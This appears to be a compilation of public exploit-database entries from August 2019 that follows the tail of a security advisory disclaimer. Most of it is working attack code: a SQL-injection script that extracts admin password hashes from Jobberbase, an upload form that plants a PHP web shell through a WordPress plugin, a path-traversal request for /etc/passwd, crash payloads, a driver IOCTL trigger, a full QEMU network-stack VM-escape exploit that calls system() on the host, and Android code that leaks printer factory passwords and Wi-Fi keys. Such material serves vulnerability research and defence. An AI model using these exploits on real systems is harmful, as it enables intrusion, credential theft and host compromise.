>> Disclaimer: Please note that Agile Information Security (Agile InfoSec) relies on information provided by the vendor when listing fixed versions or products. Agile InfoSec does not verify this information, except when specifically mentioned in this advisory or when requested or contracted by the vendor to do so. Unconfirmed vendor fixes might be ineffective or incomplete, and it is the vendor's responsibility to ensure the vulnerabilities found by Agile Information Security are resolved properly. Agile Information Security Limited does not accept any responsibility, financial or otherwise, from any material losses, loss of life or reputational loss as a result of misuse of the information or code contained or mentioned in this advisory. It is the vendor's responsibility to ensure their products' security before, during and after release to market. All information, code and binary data in this advisory is released to the public under the GNU General Public License, version 3 (GPLv3). For information, code or binary data obtained from other sources that has a license which is incompatible with GPLv3, the original license prevails. For more information check https://www.gnu.org/licenses/gpl-3.0.en.html ================ Agile Information Security Limited http://www.agileinfosec.co.uk/ >> Enabling secure digital business.
  8. #!/bin/bash # Exploit Title: Jobberbase 2.0 - 'subscribe' SQL injection # Date: 29 August 2019 # Exploit Author: Damian Ebelties (https://zerodays.lol/) # Vendor Homepage: http://www.jobberbase.com/ # Version: 2.0 # Tested on: Ubuntu 18.04.1 : ' The page "/subscribe/" is vulnerable for SQL injection. Simply make a POST request to /subscribe/ with the parameters: - [email protected] - category=1337<inject_here> You can use this script to verify if YOUR OWN instance is vulnerable. $ bash verify.sh http://localhost/jobberbase/ admin:1a1dc91c907325c69271ddf0c944bc72 ' : 'Fetch the username' USERNAME=$(curl -s "$1/subscribe/" \ -d "[email protected]" \ -d "category=-1337 and updatexml(0,concat(0x0a,(select username from admin limit 0,1),0x0a),0)-- -" \ -d "zero=days.lol" | head -n 3 | tail -n 1 | sed "s/'' in.*//") : 'Ugly way to fetch the password hash' PASS=$(curl -s "$1/subscribe/" \ -d "[email protected]" \ -d "category=-1337 and updatexml(0,concat(0x0a,(select substring(password,1,16) from admin limit 0,1),0x0a),0)-- -" \ -d "zero=days.lol" | head -n 3 | tail -n 1 | sed "s/'' in.*//") WORD=$(curl -s "$1/subscribe/" \ -d "[email protected]" \ -d "category=-1337 and updatexml(0,concat(0x0a,(select substring(password,17,16) from admin limit 0,1),0x0a),0)-- -" \ -d "zero=days.lol" | head -n 3 | tail -n 1 | sed "s/'' in.*//") : 'Print the user:hash (note: default login is admin:admin)' echo -e "$USERNAME:$PASS$WORD"
  9. <html> <!-- GoURL Unrestricted Upload Vulnerablity POC by @pouyadarabi CWE-434 Vulnerable Fucntion: https://github.com/cryptoapi/Bitcoin-Wordpress-Plugin/blob/8aa17068d7ba31a05f66e0ab2bbb55efb0f60017/gourl.php#L5637 Details: After checking file extention substring was used for file name to select first 95 letter line #5655 So enter file name like "123456789a123456789b123456789c123456789d123456789e123456789f123456789g123456789h123456789i1.php.jpg" will upload a file with .php extention in website :) --> <body> <!-- Replace http://127.0.0.1/wp/ with target wordpress website Fill id param in form action to any active download product --> <form action="http://127.0.0.1/wp/?page=gourlfile&id=1" method="POST" enctype="multipart/form-data"> <input type="file" name="gourlimage2" /> <input type="submit"/> </form> <a href="http://127.0.0.1/wp/wp-content/uploads/gourl/images/i123456789a123456789b123456789c123456789d123456789e123456789f123456789g123456789h123456789i1.php">Shell link</a> </body> </html>
  10. # Exploit Title: PilusCart <= 1.4.1 - Local File Disclosure # Date: 29 August 2019 # Exploit Author: Damian Ebelties (https://zerodays.lol/) # Vendor Homepage: https://sourceforge.net/projects/pilus/ # Version: <= 1.4.1 # Tested on: Ubuntu 18.04.1 The e-commerce software 'PilusCart' is not validating the 'filename' passed correctly, which leads to Local File Disclosure. As of today (29 August 2019) this issue is unfixed. Vulnerable code: (catalog.php on line 71) readfile("$direktori$filename"); Proof-of-Concept: https://domain.tld/catalog.php?filename=../../../../../../../../../etc/passwd
  11. https://github.com/WebKit/webkit/blob/94e868c940d46c5745869192d07255331d00102b/Source/JavaScriptCore/dfg/DFGArgumentsEliminationPhase.cpp#L743 case GetByVal: { ... unsigned numberOfArgumentsToSkip = 0; if (candidate->op() == PhantomCreateRest) numberOfArgumentsToSkip = candidate->numberOfArgumentsToSkip(); Node* result = nullptr; if (m_graph.varArgChild(node, 1)->isInt32Constant()) { unsigned index = m_graph.varArgChild(node, 1)->asUInt32(); InlineCallFrame* inlineCallFrame = candidate->origin.semantic.inlineCallFrame(); index += numberOfArgumentsToSkip; bool safeToGetStack; if (inlineCallFrame) { safeToGetStack = index < inlineCallFrame->argumentCountIncludingThis - 1; } else { safeToGetStack = index < static_cast<unsigned>(codeBlock()->numParameters()) - 1; } if (safeToGetStack) { StackAccessData* data; VirtualRegister arg = virtualRegisterForArgument(index + 1); if (inlineCallFrame) arg += inlineCallFrame->stackOffset; data = m_graph.m_stackAccessData.add(arg, FlushedJSValue); Node* check = nullptr; if (!inlineCallFrame || inlineCallFrame->isVarargs()) { check = insertionSet.insertNode( nodeIndex, SpecNone, CheckInBounds, node->origin, m_graph.varArgChild(node, 1), Edge(getArrayLength(candidate), Int32Use)); } result = insertionSet.insertNode( nodeIndex, node->prediction(), GetStack, node->origin, OpInfo(data), Edge(check, UntypedUse)); } } The above code is trying to inline GetByVal operations on stack-allocated arguments. The problem is, it doesn't check whether "index" is lower than "numberOfArgumentsToSkip", i.e., "index" was overflowed. This bug is exploitable as this can lead to uninitialized variable access under certain circumstances. PoC: function inlinee(index, value, ...rest) { return rest[index | 0]; // GetByVal } function opt() { return inlinee(-1, 0x1234); // or inlinee(0xffffffff, 0x1234) } inlinee(0, 0); for (let i = 0; i < 1000000; i++) { opt(); } print(opt()); // 0x1234
  12. #Exploit Title: SQL Server Password Changer v1.90 Denial of Service Exploit # Date: 29.08.2019 # Vendor Homepage:https://www.top-password.com/ # Exploit Author: Velayutham Selvaraj & Praveen Thiyagarayam (TwinTech Solutions) # Tested Version: v2.10 # Tested on: Windows 8 x64 # Windows 7 x64 # 1.- Run python code :Outlook Password Recovery.py # 2.- Open EVIL.txt and copy content to clipboard # 3.- Open SQL Server Password Changer and Click 'EnterKey' # 4.- Paste the content of EVIL.txt into the Field: 'User Name and Registration Code' # 5.- Click 'OK' and you will see a crash. #!/usr/bin/env python buffer = "x41" * 6000 try: f=open("Evil.txt","w") print "[+] Creating %s bytes evil payload.." %len(buffer) f.write(buffer) f.close() print "[+] File created!" except: print "File cannot be created"
  13. #!/usr/bin/python # SWAMI KARUPASAMI THUNAI print(""" ############################################################################ ### # Exploit Title: Easy MP3 Downloader Denial of Service # Date: 2019-08-29 # Exploit Author: Mohan Ravichandran & Snazzy Sanoj # Organization : StrongBox IT # Vulnerable Software: Easy MP3 Downloader # Version: 4.7.8.8 # Software Link: https://download.cnet.com/Easy-MP3-Downloader/3000-2141_4-10860695.html # Tested On: Windows 10 # # Credit to Snazzy Sanoj & Meshach for discovering the Vulnerbility # Vulnerability Disclosure Date : 2019-08-29 # # Manual steps to reproduce the vulnerability ... #1. Download and install the setup file #2. Run this exploit code via python 2.7 #3. A file "exploit.txt" will be created #4. Copy the contents of the file #5. While launching the application select Enter SN #6. Enter random string and press Ok #7. Then select manual option #8. Then Copy the contents of the exploit.txt and paste on the Unlock Code field #9. Click Ok and voila ! :P Application crashes ############################################################################ ### """) file = open("exploit.txt","wb") junk = "A" * 6000 file.write(junk) file.close()
  14. #!/usr/bin/python # Exploit Title: Asus Precision TouchPad 11.0.0.25 - DoS/Privesc # Date: 29-08-2019 # Exploit Author: Athanasios Tserpelis of Telspace Systems # Vendor Homepage: https://www.asus.com # Version: 11.0.0.25 # Software Link : https://www.asus.com # Contact: services[@]telspace.co.za # Twitter: @telspacesystems (Greets to the Telspace Crew) # Tested on: Windows 10 RS5 x64 # CVE: CVE-2019-10709 from ctypes import * kernel32 = windll.kernel32 ntdll = windll.ntdll NULL = 0 hevDevice = kernel32.CreateFileA("\\\\.\\AsusTP", 0xC0000000, 0, None, 0x3, 0, None) if not hevDevice or hevDevice == -1: print "*** Couldn't get Device Driver handle." sys.exit(0) buf = "A"*12048 raw_input("Press Enter to Trigger Vuln") kernel32.DeviceIoControl(hevDevice, 0x221408, buf, 0x1, buf, 0x1 , 0, NULL)
  15. #include <stdlib.h> #include <string.h> #include <unistd.h> #include <stdio.h> #include <errno.h> #include <sys/types.h> #include <sys/socket.h> #include <sys/socket.h> #include <netinet/in.h> #include <netinet/ip.h> #include <net/ethernet.h> #include <arpa/inet.h> #include <linux/icmp.h> #include <linux/if_packet.h> #include <sys/ioctl.h> #include <net/if.h> #include <time.h> #define die(x) do { \ perror(x); \ exit(EXIT_FAILURE); \ }while(0); // * * * * * * * * * * * * * * * Constans * * * * * * * * * * * * * * * * * * #define SRC_ADDR "10.0.2.15" #define DST_ADDR "10.0.2.2" #define INTERFACE "ens3" #define ETH_HDRLEN 14 // Ethernet header length #define IP4_HDRLEN 20 // IPv4 header length #define ICMP_HDRLEN 8 // ICMP header length for echo request, excludes data #define MIN_MTU 12000 // * * * * * * * * * * * * * * * QEMU Symbol offset * * * * * * * * * * * * * * * * * * #define SYSTEM_PLT 0x029b290 #define QEMU_CLOCK 0x10e8200 #define QEMU_TIMER_NOTIFY_CB 0x2f4bff #define MAIN_LOOP_TLG 0x10e81e0 #define CPU_UPDATE_STATE 0x488190 // Some place in bss which is not used to craft fake stucts #define FAKE_STRUCT 0xf43360 // * * * * * * * * * * * * * * * QEMU Structs * * * * * * * * * * * * * * * * * * struct mbuf { struct mbuf *m_next; /* Linked list of mbufs */ struct mbuf *m_prev; struct mbuf *m_nextpkt; /* Next packet in queue/record */ struct mbuf *m_prevpkt; /* Flags aren't used in the output queue */ int m_flags; /* Misc flags */ int m_size; /* Size of mbuf, from m_dat or m_ext */ struct socket *m_so; char * m_data; /* Current location of data */ int m_len; /* Amount of data in this mbuf, from m_data */ void *slirp; char resolution_requested; u_int64_t expiration_date; char *m_ext; /* start of dynamic buffer area, must be last element */ char * m_dat; }; struct QEMUTimer { int64_t expire_time; /* in nanoseconds */ void *timer_list; void *cb; void *opaque; void *next; int scale; }; struct QEMUTimerList { void * clock; char active_timers_lock[0x38]; struct QEMUTimer *active_timers; struct QEMUTimerList *le_next; /* next element */ \ struct QEMUTimerList **le_prev; /* address of previous next element */ \ void *notify_cb; void *notify_opaque; /* lightweight method to mark the end of timerlist's running */ size_t timers_done_ev; }; // * * * * * * * * * * * * * * * Helpers * * * * * * * * * * * * * * * * * * int raw_socket; int recv_socket; int spray_id; int idx; char mac[6]; void * code_leak; void * heap_leak; void *Malloc(size_t size) { void * ptr = calloc(size,1); if (!ptr) { die("malloc() failed to allocate"); } return ptr; } unsigned short in_cksum(unsigned short *ptr,int nbytes) { register long sum; /* assumes long == 32 bits */ u_short oddbyte; register u_short answer; /* assumes u_short == 16 bits */ /* * Our algorithm is simple, using a 32-bit accumulator (sum), * we add sequential 16-bit words to it, and at the end, fold back * all the carry bits from the top 16 bits into the lower 16 bits. */ sum = 0; while (nbytes > 1) { sum += *ptr++; nbytes -= 2; } /* mop up an odd byte, if necessary */ if (nbytes == 1) { oddbyte = 0; /* make sure top half is zero */ *((u_char *) &oddbyte) = *(u_char *)ptr; /* one byte only */ sum += oddbyte; } /* * Add back carry outs from top 16 bits to low 16 bits. */ sum = (sum >> 16) + (sum & 0xffff); /* add high-16 to low-16 */ sum += (sum >> 16); /* add carry */ answer = ~sum; /* ones-complement, then truncate to 16 bits */ return(answer); } void hex_dump(char *desc, void *addr, int len) { int i; unsigned char buff[17]; unsigned char *pc = (unsigned char*)addr; if (desc != NULL) printf ("%s:\n", desc); for (i = 0; i < len; i++) { if ((i % 16) == 0) { if (i != 0) printf(" %s\n", buff); printf(" %04x ", i); } printf(" %02x", pc[i]); if ((pc[i] < 0x20) || (pc[i] > 0x7e)) { buff[i % 16] = '.'; } else { buff[i % 16] = pc[i]; } buff[(i % 16) + 1] = '\0'; } while ((i % 16) != 0) { printf(" "); i++; } printf(" %s\n", buff); } char * ethernet_header(char * eth_hdr){ /* src MAC : 52:54:00:12:34:56 */ memcpy(&eth_hdr[6],mac,6); // Next is ethernet type code (ETH_P_IP for IPv4). // http://www.iana.org/assignments/ethernet-numbers eth_hdr[12] = ETH_P_IP / 256; eth_hdr[13] = ETH_P_IP % 256; return eth_hdr; } void ip_header(struct iphdr * ip ,u_int32_t src_addr,u_int32_t dst_addr,u_int16_t payload_len, u_int8_t protocol,u_int16_t id,uint16_t frag_off){ /* rfc791 */ ip->ihl = IP4_HDRLEN / sizeof (uint32_t); ip->version = 4; ip->tos = 0x0; ip->tot_len = htons(IP4_HDRLEN + payload_len); ip->id = htons(id); ip->ttl = 64; ip->frag_off = htons(frag_off); ip->protocol = protocol; ip->saddr = src_addr; ip->daddr = dst_addr; ip->check = in_cksum((unsigned short *)ip,IP4_HDRLEN); } void icmp_header(struct icmphdr *icmp, char *data, size_t size) { /* rfc792 */ icmp->type = ICMP_ECHO; icmp->code = 0; icmp->un.echo.id = htons(0); icmp->un.echo.sequence = htons(0); if (data) { char * payload = (char * )icmp+ ICMP_HDRLEN; memcpy(payload, data, size); } icmp->checksum = in_cksum((unsigned short *)icmp, ICMP_HDRLEN + size); } void send_pkt(char *frame, u_int32_t frame_length) { struct sockaddr_ll sock; sock.sll_family = AF_PACKET; sock.sll_ifindex = idx; sock.sll_halen = 6; memcpy (sock.sll_addr, mac, 6 * sizeof (uint8_t)); if(sendto(raw_socket,frame,frame_length,0x0,(struct sockaddr *)&sock, sizeof(sock))<0) die("sendto()"); } void send_ip4(uint32_t id,u_int32_t size,char * data,u_int16_t frag_off) { u_int32_t src_addr, dst_addr; src_addr = inet_addr(SRC_ADDR); dst_addr = inet_addr(DST_ADDR); char * pkt = Malloc(IP_MAXPACKET); struct iphdr * ip = (struct iphdr * ) (pkt + ETH_HDRLEN); ethernet_header(pkt); u_int16_t payload_len = size; ip_header(ip,src_addr,dst_addr,payload_len,IPPROTO_ICMP,id,frag_off); if(data) { char * payload = (char *)pkt + ETH_HDRLEN + IP4_HDRLEN; memcpy(payload, data, payload_len); } u_int32_t frame_length = ETH_HDRLEN + IP4_HDRLEN + payload_len; send_pkt(pkt,frame_length); free(pkt); } void send_icmp(uint32_t id,u_int32_t size,char * data,u_int16_t frag_off) { char * pkt = Malloc(IP_MAXPACKET); struct icmphdr * icmp = (struct icmphdr * )(pkt); if(!data) data = Malloc(size); icmp_header(icmp,data,size); u_int32_t len = ICMP_HDRLEN + size; send_ip4(id,len,pkt,frag_off); free(pkt); } // * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * * void initialize() { int sd; struct ifreq ifr; char interface[40]; int mtu; srand(time(NULL)); strcpy (interface, INTERFACE); // Submit request for a socket descriptor to look up interface. if ((sd = socket (AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { die("socket() failed to get socket descriptor for using ioctl()"); } // Use ioctl() to get interface maximum transmission unit (MTU). memset (&ifr, 0, sizeof (ifr)); strcpy (ifr.ifr_name, interface); if (ioctl (sd, SIOCGIFMTU, &ifr) < 0) { die("ioctl() failed to get MTU "); } mtu = ifr.ifr_mtu; printf ("MTU of interface %s : %i\n", interface, mtu); if (mtu < MIN_MTU) { printf("Run\n$ ip link set dev %s mtu 12000\n",interface); die(""); } // Use ioctl() to look up interface name and get its MAC address. memset (&ifr, 0, sizeof (ifr)); snprintf (ifr.ifr_name, sizeof (ifr.ifr_name), "%s", interface); if (ioctl (sd, SIOCGIFHWADDR, &ifr) < 0) { die("ioctl() failed to get source MAC address "); } memcpy (mac, ifr.ifr_hwaddr.sa_data, 6 * sizeof (uint8_t)); printf ("MAC %s :", interface); for (int i=0; i<5; i++) { printf ("%02x:", mac[i]); } printf ("%02x\n", mac[5]); // Use ioctl() to look up interface index which we will use to // bind socket descriptor sd to specified interface with setsockopt() since // none of the other arguments of sendto() specify which interface to use. memset (&ifr, 0, sizeof (ifr)); snprintf (ifr.ifr_name, sizeof (ifr.ifr_name), "%s", interface); if (ioctl (sd, SIOCGIFINDEX, &ifr) < 0) { die("ioctl() failed to find interface "); } close (sd); printf ("Index for interface %s : %i\n", interface, ifr.ifr_ifindex); idx = ifr.ifr_ifindex; if((raw_socket = socket(PF_PACKET, SOCK_RAW, htons (ETH_P_ALL)))==-1) die("socket() failed to obtain raw socket"); /* Bind socket to interface index. */ if (setsockopt (raw_socket, SOL_SOCKET, SO_BINDTODEVICE, &ifr, sizeof (ifr)) < 0) { die("setsockopt() failed to bind to interface "); } printf("Initialized socket discriptors\n"); } void spray(uint32_t size, u_int32_t count) { printf("Spraying 0x%x x ICMP[0x%x]\n",count,size); int s; u_int16_t frag_off; char * data; for (int i = 0; i < count; i++) { send_icmp(spray_id + i,size, NULL, IP_MF); } } void arbitrary_write(void *addr, size_t addrlen, char *payload, size_t size, size_t spray_count) { spray(0x8, spray_count); size_t id = spray_id + spray_count; // Target size_t target_id = id++; send_ip4(target_id, 0x8, NULL, IP_MF); // Padding send_ip4(id++, 0x8, NULL, IP_MF); send_ip4(id++, 0x8, NULL, IP_MF); // Piviot Point size_t hole_1 = id++; send_ip4(hole_1, 0x8, NULL, IP_MF); // Padding send_ip4(id++, 0xC30, NULL, IP_MF); // For creating hole size_t hole_2 = id++; send_ip4(hole_2, 0x8, NULL, IP_MF); // To prevent consolidation send_ip4(id++, 0x8, NULL, IP_MF); // This should create the fist hole send_ip4(hole_1, 0x8, NULL, 0x1); // This should create the second hole send_ip4(hole_2, 0x8, NULL, 0x1); int m_data_off = -0x70; int m_len = m_data_off; addr = (void *)((size_t)addr + ((m_len * -1) - addrlen)); if (addrlen != 0x8) { m_len -= (0x8 - addrlen); } size_t vuln_id = id++; char * pkt = Malloc(IP_MAXPACKET); memset(pkt,0x0,IP_MAXPACKET); struct iphdr * ip = (struct iphdr * ) (pkt + ETH_HDRLEN); ethernet_header(pkt); u_int16_t pkt_len = 0xc90; ip_header(ip,m_len,0x0,pkt_len,IPPROTO_ICMP,vuln_id,IP_MF); u_int32_t frame_length = ETH_HDRLEN + IP4_HDRLEN + pkt_len; // The mbuf of this packet will be placed in the second hole and // m_ext buff will be placed on the first hole, We will write wrt // to this. send_pkt(pkt,frame_length); memset(pkt,0x0,IP_MAXPACKET); ip = (struct iphdr * ) (pkt + ETH_HDRLEN); ethernet_header(pkt); pkt_len = 0x8; ip_header(ip,m_len,0x0,pkt_len,IPPROTO_ICMP,vuln_id,0x192); frame_length = ETH_HDRLEN + IP4_HDRLEN + pkt_len; // Trigger the bug to change target's m_len send_pkt(pkt,frame_length); // Underflow and write, to change m_data char addr_buf[0x8] = {0}; if (addrlen != 0x8) { memcpy(&addr_buf[(0x8-addrlen)],(char *)&addr,addrlen); } else { memcpy(addr_buf,(char *)&addr,8); } send_ip4(target_id, 0x8, addr_buf, 0x1|IP_MF); send_ip4(target_id, size, payload, 0x2); hex_dump("Writing Payload ", payload, size); } void recv_leaks(){ /* Prepare recv sd */ /* Submit request for a raw socket descriptor to receive packets. */ int recvsd, fromlen, bytes, status; struct sockaddr from; char recv_ether_frame[IP_MAXPACKET]; struct iphdr *recv_iphdr = (struct iphdr *)(recv_ether_frame + ETH_HDRLEN); struct icmphdr *recv_icmphdr = (struct icmphdr *)(recv_ether_frame + ETH_HDRLEN + IP4_HDRLEN); for (;;) { memset(recv_ether_frame, 0, IP_MAXPACKET * sizeof(uint8_t)); memset(&from, 0, sizeof(from)); fromlen = sizeof(from); if ((bytes = recvfrom(recv_socket, recv_ether_frame, IP_MAXPACKET, 0, (struct sockaddr *)&from, (socklen_t *)&fromlen)) < 0) { status = errno; // Deal with error conditions first. if (status == EAGAIN) { // EAGAIN = 11 printf("Time out\n"); } else if (status == EINTR) { // EINTR = 4 continue; // Something weird happened, but let's keep listening. } else { perror("recvfrom() failed "); exit(EXIT_FAILURE); } } // End of error handling conditionals. // Check for an IP ethernet frame, carrying ICMP echo reply. If not, ignore // and keep listening. if ((((recv_ether_frame[12] << 8) + recv_ether_frame[13]) == ETH_P_IP) && (recv_iphdr->protocol == IPPROTO_ICMP) && (recv_icmphdr->type == ICMP_ECHOREPLY) && (recv_icmphdr->code == 0) && (recv_icmphdr->checksum == 0xffff)) { hex_dump("Recieved ICMP Replay : ", recv_ether_frame, bytes); code_leak = (void *)(*((size_t *)&recv_ether_frame[0x40]) - CPU_UPDATE_STATE); size_t *ptr = (size_t *)(recv_ether_frame + 0x30); for (int i = 0; i < (bytes / 0x8); i++) { if ((ptr[i] & 0x7f0000000000) == 0x7f0000000000) { heap_leak = (void *)(ptr[i] & 0xffffff000000); break; } } printf("Host Code Leak : %p\n", code_leak); printf("Host Heap Leak : %p\n", heap_leak); break; } } } void leak() { u_int32_t src_addr, dst_addr; src_addr = inet_addr(SRC_ADDR); dst_addr = inet_addr(DST_ADDR); /* Crafting Fake ICMP Packet For Leak */ char * pkt = Malloc(IP_MAXPACKET); struct iphdr * ip = (struct iphdr * ) (pkt + ETH_HDRLEN); struct icmphdr * icmp = (struct icmphdr * )(pkt+ETH_HDRLEN+IP4_HDRLEN); ethernet_header(pkt); ip_header(ip,src_addr,dst_addr,ICMP_HDRLEN,IPPROTO_ICMP,0xbabe,IP_MF); ip->tot_len = ntohs(ip->tot_len) - IP4_HDRLEN; ip->id = ntohs(ip->id); ip->frag_off = htons(ip->frag_off); icmp_header(icmp,NULL,0x0); char * data = (char *)icmp + ICMP_HDRLEN + 8; size_t pkt_len = ETH_HDRLEN + IP4_HDRLEN + ICMP_HDRLEN; spray_id = rand() & 0xffff; arbitrary_write((void * )(0xb00-0x20),3,pkt,pkt_len+4,0x100); // This is same as the arbitrary write function spray_id = rand() & 0xffff; spray(0x8, 0x20); size_t id = spray_id + 0x20; size_t replay_id = id++; send_ip4(replay_id, 0x100, NULL, IP_MF); // Target size_t target_id = id++; send_ip4(target_id, 0x8, NULL, IP_MF); // Padding send_ip4(id++, 0x8, NULL, IP_MF); send_ip4(id++, 0x8, NULL, IP_MF); // Piviot Point size_t hole_1 = id++; send_ip4(hole_1, 0x8, NULL, IP_MF); // Padding send_ip4(id++, 0xC30, NULL, IP_MF); // For creating hole size_t hole_2 = id++; send_ip4(hole_2, 0x8, NULL, IP_MF); // Prevent Consolidation send_ip4(id++, 0x8, NULL, IP_MF); // This should create the fist hole send_ip4(hole_1, 0x8, NULL, 0x1); // This should create the second hole send_ip4(hole_2, 0x8, NULL, 0x1); // Trigger the bug to change target's m_len int m_data_off = -0xd50; int m_len = m_data_off; size_t * addr = (size_t * )(0xb00 - 0x20 + ETH_HDRLEN + 0xe + 6) ; size_t addrlen = 0x3; if (addrlen != 0x8) { m_len -= (0x8 - addrlen); } size_t vuln_id = id++; memset(pkt,0x0,IP_MAXPACKET); ip = (struct iphdr * ) (pkt + ETH_HDRLEN); ethernet_header(pkt); pkt_len = 0xc90; ip_header(ip,m_len,0x0,pkt_len,IPPROTO_ICMP,vuln_id,IP_MF); u_int32_t frame_length = ETH_HDRLEN + IP4_HDRLEN + pkt_len; send_pkt(pkt,frame_length); memset(pkt,0x0,IP_MAXPACKET); ip = (struct iphdr * ) (pkt + ETH_HDRLEN); ethernet_header(pkt); pkt_len = 0x8; ip_header(ip,m_len,0x0,pkt_len,IPPROTO_ICMP,vuln_id,0x192); frame_length = ETH_HDRLEN + IP4_HDRLEN + pkt_len; send_pkt(pkt,frame_length); // Underflow and write to change m_data char addr_buf[0x8] = {0}; if (addrlen != 0x8) { memcpy(&addr_buf[(0x8-addrlen)],(char *)&addr,addrlen); } else { memcpy(addr_buf,(char *)&addr,8); } send_ip4(target_id, 0x8, addr_buf, 0x1); if ((recv_socket = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL))) < 0) die("socket() failed to obtain a receive socket descriptor"); send_ip4(replay_id, 0x8, NULL, 0x20); recv_leaks(); char zero[0x28] = {0}; spray_id = rand() & 0xffff; printf("Cleaning Heap\n"); arbitrary_write(heap_leak + (0xb00 - 0x20),3,zero,sizeof(zero),0x20); } void pwn() { char payload[0x200] = {0}; struct QEMUTimerList *tl = (struct QEMUTimerList *)payload; struct QEMUTimer *ts = (struct QEMUTimer *)(payload + sizeof(struct QEMUTimerList)); char cmd[] = "/usr/bin/gnome-calculator"; memcpy((void *)(payload + sizeof(struct QEMUTimerList ) \ +sizeof(struct QEMUTimer )), \ (void *)cmd,sizeof(cmd)); void * fake_timer_list = code_leak + FAKE_STRUCT; void * fake_timer = fake_timer_list + sizeof(struct QEMUTimerList); void *system = code_leak + SYSTEM_PLT; void *cmd_addr = fake_timer + sizeof(struct QEMUTimer); /* Fake Timer List */ tl->clock = (void *)(code_leak + QEMU_CLOCK); *(size_t *)&tl->active_timers_lock[0x30] = 0x0000000100000000; tl->active_timers = fake_timer; tl->le_next = 0x0; tl->le_prev = 0x0; tl->notify_cb = code_leak + QEMU_TIMER_NOTIFY_CB; tl->notify_opaque = 0x0; tl->timers_done_ev = 0x0000000100000000; /*Fake Timer structure*/ ts->timer_list = fake_timer_list; ts->cb = system; ts->opaque = cmd_addr; ts->scale = 1000000; ts->expire_time = -1; spray_id = rand() & 0xffff; size_t payload_size = sizeof(struct QEMUTimerList) + sizeof(struct QEMUTimerList) + sizeof(cmd); printf("Writing fake structure : %p\n",fake_timer_list); arbitrary_write(fake_timer_list,8,payload,payload_size,0x20); spray_id = rand() & 0xffff; void * main_loop_tlg = code_leak + MAIN_LOOP_TLG; printf("Overwriting main_loop_tlg %p\n",main_loop_tlg); arbitrary_write(main_loop_tlg,8,(char *)&fake_timer_list,8,0x20); } int main() { initialize(); leak(); pwn(); return 0; }
  16. # Exploit Title: Content Provider URI Injection on Canon PRINT 2.5.5 (CVE-2019-14339) # Date: 24th July, 2019 # Exploit Author: 0x48piraj # Vendor Homepage: https://www.usa.canon.com/internet/portal/us/home/explore/printing-innovations/mobile-printing/canon-print-app # Software Link: https://play.google.com/store/apps/details?id=jp.co.canon.bsd.ad.pixmaprint <https://play.google.com/store/apps/details?id=jp.co.canon.bsd.ad.pixmaprint&hl=en_IN># Exploit : https://github.com/0x48piraj/CVE-2019-14339 # Version: Canon PRINT 2.5.5 # Tested on: Android 8.0.0 # CVE : CVE-2019-14339 The ContentProvider in the Canon PRINT 2.5.5 application for Android does not properly restrict data access. This allows an attacker's malicious application to obtain sensitive information including factory passwords for administrator web-interface and WPA2-PSK key. The mobile application contains unprotected exported content providers ('IJPrinterCapabilityProvider' in android/AndroidManifest.xml) that discloses sensitive application’s data under certain conditions. To securely export the content provider, one should restrict access to it by setting up android:protectionLevel or android:grantUriPermissions attributes in Android Manifest file. -- Proof-of-concept code (Java) -- package cannon.print.pwn; import android.database.Cursor; import android.net.Uri; import android.support.v7.app.AppCompatActivity; import android.os.Bundle; import android.view.View; import android.widget.Button; import android.widget.TextView; import android.widget.Toast; import org.apache.commons.lang3.StringUtils; // https://stackoverflow.com/a/50198499 public class MainActivity extends AppCompatActivity { Button PwnBtn; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); PwnBtn = (Button) findViewById(R.id.button); PwnBtn.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View view) { Toast.makeText(getApplicationContext(), "Payload triggered ...", Toast.LENGTH_SHORT).show(); Uri cannonURI = Uri.parse("content://canon.ij.printer.capability.data/"); Cursor cursor = getContentResolver().query(cannonURI, null, null, null, null); int count = cursor.getCount(); TextView data=(TextView)findViewById(R.id.data); data.setText(String.valueOf(count)); cursor.moveToFirst(); String tempstr = " "; tempstr =" "+tempstr +"\t"+ cursor.getString(0) + "\t\t\t" + cursor.getString(1) + "\t\t\t" + cursor.getString(2); String dpw = StringUtils.substringBetween(tempstr, "<ivec:product_serialnumber>", "</ivec:product_serialnumber>"); String dmac = cursor.getString(4); String mdeviceid = cursor.getString(13); // raw String dtype = StringUtils.substringBetween(mdeviceid, ";CLS:", ";DES"); String timestamp = cursor.getString(15); // ticks, device last used String dclass = StringUtils.substringBetween(tempstr, "<ivec:manufacturer>", "</ivec:manufacturer>"); String dmodel = StringUtils.substringBetween(tempstr, "<ivec:model>", "</ivec:model>"); String dserial = StringUtils.substringBetween(tempstr, "<ivec:serialnumber>", "</ivec:serialnumber>"); String dfmver = StringUtils.substringBetween(tempstr, "<ivec:firmver>", "</ivec:firmver>"); String dservice = StringUtils.substringBetween(tempstr, "<ivec:service>", "</ivec:service>"); /* More juicy data String denv = StringUtils.substringBetween(tempstr, "<vcn:host_environment>", "</vcn:host_environment>"); String dpapertype = StringUtils.substringBetween(tempstr, "<ivec:papertype>", "</ivec:papertype>"); String dformats = StringUtils.substringBetween(tempstr, "<ivec:support_data_format>", "</ivec:support_data_format>"); */ String fout = String.format("Device Type : %s\nDevice Class : %s\nDevice Model : %s\nDevice Serial : %s\nDevice MAC Address : %s\nDevice Factory Password : %s\nDevice Firmware Version : %s\nDevice Services : %s\nDevice Last Used : %s\n", dtype, dclass, dmodel, dserial, dmac, dpw, dfmver, dservice, timestamp); data.setText(fout); } }); } } -- Proof-of-concept python script over ADB -- import subprocess, datetime, sys def ext(out, var, rw=';'): return out.split(var)[1].split(rw)[0] print("[#] Make sure you've connected the target device w/ adb ...") print("[*] Running the exploit using adb ...\n\n") out = subprocess.getoutput("adb shell content query --uri content://canon.ij.printer.capability.data/") if "<ivec:contents>" not in out: print("[!] Error: Couldn't fetch data from adb ...") sys.exit(1) varz = [";CLS:", ";MDL:", ";DES:", ";VER:", ";PSE:"] # factory_pw_check = out.split("<ivec:product_serialnumber>")[1].split('</ivec:product_serialnumber>')[0] prmz = ["Class", "Model", "Description", "Firmware Version", "Factory Password"] for prm, var in zip(prmz, varz): print(" -- Device %s : %s" % (prm, ext(out, var))) print(" -- Device MAC Address : {}".format(ext(out, 'mmacaddress=', ','))) print(" -- Device Last Used : %s" % (datetime.timedelta(microseconds = int(ext(out,', timestamp=', ', '))/10)))
